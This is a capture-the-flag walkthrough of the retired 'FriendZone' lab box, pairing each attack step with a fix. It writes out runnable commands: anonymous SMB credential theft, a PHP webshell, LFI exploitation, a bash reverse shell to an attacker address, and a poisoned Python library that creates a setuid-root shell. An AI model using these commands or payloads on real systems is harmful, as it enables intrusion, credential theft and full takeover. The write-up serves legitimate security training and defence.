← all walkthroughs

FriendZone

Linux· Easy· Web
owned
2026-07-03
time to own
9m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I pulled plaintext admin credentials from an open SMB share, then performed an unrestricted DNS zone transfer to discover a hidden administration portal. Logging in with those credentials exposed a Local File Inclusion flaw on the admin dashboard; combined with a second anonymously writable SMB share whose contents mapped directly onto a server-side filesystem path, I planted a PHP webshell and executed it as the web server account.

A plaintext SSH password stored in a web-accessible configuration file provided a stable foothold as a low-privilege user. Finally, a world-writable Python standard library file imported by a root-owned cron job was poisoned, causing the next scheduled execution to create a setuid-root shell binary and deliver complete system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork Port Scanning
Mapped the full attack surface with a port scan
A complete TCP scan revealed five service families: FTP (21), SSH (22), DNS (53), HTTP/HTTPS (80/443), and SMB (139/445). Each represents a separate attack vector; SMB and DNS proved immediately exploitable without credentials.
Exact commands 1
Full-port version scan; add -T4 on a low-latency lab network to reduce run time.
nmap -p- -sV $TARGET
2Credential AccessUnauthenticated SMB Share Enumeration
Retrieved plaintext admin credentials from an open SMB share
The 'general' SMB share required no username or password. It contained a file called creds.txt holding admin account credentials in plain text. A second share, '[REDACTED: recovered credential]', was also open anonymously with write permissions, and its contents appeared at /etc/[REDACTED: recovered credential] on the server's disk — a direct path onto the web server filesystem.
Smbclient -N retrieved creds.txt containing admin:[REDACTED: recovered credential]; smbmap confirmed [REDACTED: recovered credential] share as READ+WRITE with no credentials.
Exact commands 4
List all shares without credentials.
smbclient -N -L //$TARGET
Show share names and permissions; confirms 'general' READ and '[REDACTED: recovered credential]' READ+WRITE with null auth.
smbmap -H $TARGET
Download creds.txt anonymously.
smbclient //$TARGET/general -N -c 'get creds.txt'
Reveals: admin:[REDACTED: recovered credential]
cat creds.txt
FixRequire authentication on all SMB shares and eliminate guest-writable accessCritical
WeaknessBoth the 'general' and '[REDACTED: recovered credential]' SMB shares were accessible without any credentials. 'general' stored the admin password in a plain-text file anyone could download; '[REDACTED: recovered credential]' was writable by anonymous users and its contents landed directly on the web server's filesystem, turning an open share into a file-upload primitive.
FixIn smb.conf, set 'map to guest = Never' globally and remove 'guest ok = yes' from every share definition. Restrict each share to named, authenticated users with the minimum necessary permissions — read-only unless write access is specifically required by a named service account. Delete any credential file stored on a share immediately and move secrets to a password manager or secrets vault. Validate the fix with: smbmap -H $TARGET — every share must prompt for credentials and refuse anonymous access.
3ReconnaissanceDNS Zone Transfer (AXFR)
Dumped all internal hostnames via an unauthenticated DNS zone transfer
The DNS server responded to an AXFR request from any host with no authentication required, disclosing every record in the friendzone.red zone. This revealed the internal virtual hostnames administrator1.friendzone.red and uploads.friendzone.red — names invisible through normal external DNS resolution.
Dig axfr friendzone.red @$TARGET returned A records for administrator1.friendzone.red and uploads.friendzone.red pointing at $TARGET.
Exact commands 2
Dumps the full DNS zone; look for A/CNAME records revealing internal vhosts.
dig axfr friendzone.red @$TARGET
Add the discovered vhosts so curl and a browser can reach them by name.
echo "$TARGET administrator1.friendzone.red uploads.friendzone.red friendzone.red" >> /etc/hosts
FixRestrict DNS zone transfers to authorised secondary name servers onlyHigh
WeaknessThe DNS server answered AXFR (full zone transfer) requests from any host without authentication, disclosing every internal hostname, virtual host, and IP address in the zone to anyone who asked.
FixIn BIND 9, add 'allow-transfer { <secondary-server-IP>; };' inside each zone block and confirm no 'allow-transfer { any; };' line exists at the global or zone level. Test the fix from an external host: 'dig axfr friendzone.red @$TARGET' must return REFUSED. Apply equivalent ACL restrictions in Windows DNS Server (zone properties > Zone Transfers tab) or PowerDNS (allow-axfr-ips).
4Initial AccessFile Staging via Writable Network Share
Planted a PHP webshell in the writable SMB share
The '[REDACTED: recovered credential]' share accepted anonymous writes and its contents were stored at /etc/[REDACTED: recovered credential] on the server. A one-line PHP command shell was written there, positioning it to be triggered through the web application in the next step. No authentication or special privileges were needed.
Smbclient put succeeded anonymously; file confirmed present at /etc/[REDACTED: recovered credential] via subsequent web request.
Exact commands 2
Write the webshell to a local file first.
printf '%s\n' '<?php system($_REQUEST["cmd"]); ?>' > fzcmd.php
Upload to the writable share without credentials; lands at /etc/[REDACTED: recovered credential] on the server.
smbclient //$TARGET/$PASSWORD2 -N -c 'put fzcmd.php fzcmd.php'
5ExecutionLocal File Inclusion (LFI) to Remote Code Execution
Exploited a Local File Inclusion flaw to execute the webshell and gain remote code execution as www-data
Dashboard.php on the administrator1.friendzone.red portal passes its 'pagename' GET parameter directly to PHP's include() with no allowlist, path restriction, or extension check. Supplying /etc/[REDACTED: recovered credential] as the pagename caused the server to include and execute the previously planted webshell, returning the output of arbitrary OS commands run as the web server account (www-data, uid 33).
Curl to dashboard.php with pagename=/etc/[REDACTED: recovered credential] and cmd=id returned uid=33(www-data) gid=33(www-data); reverse shell confirmed attached to FriendZone as www-data.
Exact commands 3
-sk skips TLS certificate verification for the self-signed cert; -c/-b store and send the session cookie.
curl -sk -c cookie.txt -b cookie.txt -d 'username=admin&password=$PASSWORD3' https://administrator1.friendzone.red/login.php
Trigger the webshell via LFI; response contains uid=33(www-data).
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=id'
Upgrade to a reverse shell; start nc -lvnp 4444 on my machine ($ATTACKER_IP) first.
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=bash -c "bash -i >%26 /dev/tcp/$ATTACKER_IP/4444 0>%261"'
FixFix the Local File Inclusion vulnerability in dashboard.phpCritical
WeaknessThe 'pagename' GET parameter in dashboard.php was passed directly to PHP's include() with no allowlist, path restriction, or extension filter. Any file readable by the web server process — including externally controlled files placed anywhere on the same filesystem — could be included and executed as PHP.
FixReplace the open include() call with an explicit allowlist: define an array of permitted page identifiers (e.g. ['home', 'reports', 'status']), reject any input not in the list, and build the include path from a fixed template such as include __DIR__ . '/pages/' . $pages[$name] . '.php'. Enable 'open_basedir' in php.ini and set it to the web root directory so PHP cannot open files outside it. Never construct a filesystem path from raw user input.
6Discovery / Lateral MovementCredentials in Files / SSH Lateral Movement
Found SSH credentials in a web-accessible config file and pivoted to a stable shell as 'friend'
Filesystem enumeration through the webshell revealed /var/www/admin/mysql_data.conf, a plain-text configuration file inside the web root that stored the SSH password for the local OS account 'friend'. SSH login with those credentials gave a proper interactive session and access to the user flag in /home/friend/user.txt.
Mysql_data.conf contained db_pass=[REDACTED: recovered credential] attributed to account 'friend'; SSH login succeeded; user.txt read from /home/friend/.
Exact commands 3
Read the config file through the webshell; reveals friend's SSH password.
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=cat /var/www/admin/mysql_data.conf'
Password: [REDACTED: recovered credential]
ssh friend@$TARGET
User flag: <user.txt>
cat /home/friend/user.txt
FixRemove plaintext credentials from web-accessible configuration filesHigh
WeaknessThe file /var/www/admin/mysql_data.conf stored the OS-level SSH password for the account 'friend' in plain text, inside the web server's document tree. Once the web application was compromised, reading this file required only a single HTTP request.
FixAudit all configuration and data files under the web root for embedded credentials: grep -rn 'pass\|pwd\|secret\|key\|token' /var/www/ Remove any found credentials from flat files. Supply runtime secrets through environment variables injected by the process supervisor (systemd EnvironmentFile, Docker secrets), or retrieve them from a secrets manager such as HashiCorp Vault. Ensure the web server process user (www-data) has no read access to directories outside the intended web root.
7Privilege EscalationPython Library Hijacking combined with Cron Job Abuse (T1574.006 / T1053.003)
Poisoned a world-writable Python library module to hijack a root cron job
/opt/server_admin/reporter.py is owned by root, run periodically as root by cron, and starts with 'import os'. The system file /usr/lib/python2.7/os.py carried permissions 777 — fully writable by any process, including www-data. I appended a Python snippet to os.py that checks whether the importing process runs as root (uid 0); if so, it copies /bin/bash to /tmp/fzrootbash and sets the setuid bit. On the next scheduled root execution of reporter.py, the poisoned module ran and created the setuid-root binary. A first attempt failed due to shell-quoting bugs in the nested command string; a corrected, carefully escaped payload on the second attempt succeeded.
-rwxrwxrwx root root /usr/lib/python2.7/os.py confirmed; /opt/server_admin/reporter.py owned by root and imports os; /tmp/fzrootbash appeared as -rwsr-xr-x 1 root root after the next cron execution.
Exact commands 4
Confirm world-writable os.py and verify reporter.py imports os.
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=ls -la /usr/lib/python2.7/os.py /opt/server_admin/reporter.py && cat /opt/server_admin/reporter.py'
Write the payload to a temp file and upload via SMB to avoid shell-quoting nightmares; then append via webshell in the next command.
printf 'try:\n    system("/bin/sh -c \"if [ $(id -u) = 0 ]; then cp /bin/bash /tmp/fzrootbash; chmod 4755 /tmp/fzrootbash; fi\"")\nexcept Exception:\n    pass\n' > /tmp/payload.py && smbclient //$TARGET/$PASSWORD2 -N -c 'put /tmp/payload.py payload.py'
Append the payload to os.py through the webshell.
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=cat /etc/$PASSWORD2/payload.py >> /usr/lib/python2.7/os.py'
Poll roughly every 60 s; when output shows -rwsr-xr-x 1 root root the cron job has fired.
curl -sk -b cookie.txt --get 'https://administrator1.friendzone.red/dashboard.php' --data-urlencode 'image_id=x.jpg' --data-urlencode 'pagename=/etc/$PASSWORD2/fzcmd' --data-urlencode 'cmd=ls -la /tmp/fzrootbash'
FixRemove world-writable permissions from Python library files and run cron jobs with least privilegeCritical
Weakness/usr/lib/python2.7/os.py had file permissions 777, allowing any local process — including the www-data web server — to overwrite it. A cron job owned and executed by root imported this module, so any modification to the file ran with full root privileges on the next scheduled execution. The combination of an over-permissioned standard library file and an over-privileged cron job created a trivial privilege escalation path.
FixReset correct ownership and permissions on all Python library files: chown root:root /usr/lib/python2.7/*.py && chmod 644 /usr/lib/python2.7/*.py. Audit for any other world-writable system or library files: find /usr -perm -o+w -ls. Run reporter.py as a dedicated least-privilege service account rather than root; use a systemd timer unit with User= set to a non-root account as a modern cron replacement. Migrate from the end-of-life Python 2.7 to a supported Python 3 release and manage dependencies with pip inside a virtual environment rather than as globally writable system files.
8Full CompromiseSUID Binary Execution
Invoked the setuid-root shell to capture the root flag
With /tmp/fzrootbash carrying setuid-root permissions, running it with the -p flag from the 'friend' SSH session preserved the effective UID of root. This gave a fully privileged shell — confirmed by euid=0(root) — from which the root flag was read directly, completing the compromise chain.
Euid=0(root) confirmed; root.txt read from /root/.
Exact commands 1
-p preserves the setuid effective UID; output includes euid=0(root) and the root flag: <root.txt>
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null friend@$TARGET '/tmp/fzrootbash -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more